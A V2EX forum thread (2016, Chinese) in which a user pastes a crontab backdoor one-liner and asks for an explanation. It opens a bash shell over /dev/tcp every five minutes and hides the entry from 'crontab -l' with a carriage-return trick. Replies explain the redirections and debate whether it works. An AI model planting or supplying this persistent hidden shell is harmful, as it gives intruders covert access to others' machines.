V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
snopy
V2EX  ›  问与答

麻烦懂的详细解释下这段 shell 脚本

  •  
  •   snopy · 2016-11-25 16:30:17 +08:00 · 1636 次点击
    这是一个创建于 2913 天前的主题,其中的信息可能已经有所发展或是发生改变。

    直接贴代码了,如下:

    (crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile – I;\rno crontab for whoami%100c\n")|crontab -

    嗯,这是一段 crontab 后门的代码

    12 条回复    2016-11-26 13:06:30 +08:00
    lrvy
        1
    lrvy  
       2016-11-25 17:15:59 +08:00
    监听本地 8080 端口 nc -l -p 8080
    redsonic
        2
    redsonic  
       2016-11-25 17:19:07 +08:00
    传说中的用 bash 进行网络通讯
    Tink
        4
    Tink  
       2016-11-25 17:25:28 +08:00   ❤️ 1
    skydiver
        5
    skydiver  
       2016-11-25 18:03:13 +08:00
    感觉是复制粘贴错了吧,根本运行不了
    Owenjia
        6
    Owenjia  
       2016-11-25 18:22:10 +08:00
    这是从哪复制来的?好像不太对吧?貌似有些是转义过的,后面那个 –( U+2013 )……
    格式化下应该就好看懂了,主要是重定向和文件描述符。

    exec 9<> /dev/tcp/localhost/8080
    exec 0 <& 9
    exec 1 >& 9 2>& 1
    skydiver
        7
    skydiver  
       2016-11-25 18:27:50 +08:00
    @Owenjia 运行不了,后来发现是因为我用的 zsh , bash 里这样才行
    rrfeng
        8
    rrfeng  
       2016-11-25 18:32:38 +08:00
    约等于于在 8080 开了个 bash ……
    Owenjia
        9
    Owenjia  
       2016-11-25 18:39:23 +08:00
    @skydiver
    恩, zsh 没有 /dev/{tcp,udp}/host/port ,不过可以用 zshtcpsys 。
    skydiver
        10
    skydiver  
       2016-11-26 00:17:20 +08:00 via Android
    @rrfeng 这个并没有监听端口吧
    rrfeng
        11
    rrfeng  
       2016-11-26 12:28:00 +08:00 via Android
    @skydiver
    /dev/tcp/localhost/8080
    这就是端口
    skydiver
        12
    skydiver  
       2016-11-26 13:06:30 +08:00
    @rrfeng 我试了,这个并不会监听端口,只会连接到端口, bash 告诉我 Connection refused

    就算是监听也不应该监听 localhost 啊,那样外面又连不上……
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2873 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 23ms · UTC 08:35 · PVG 16:35 · LAX 00:35 · JFK 03:35
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.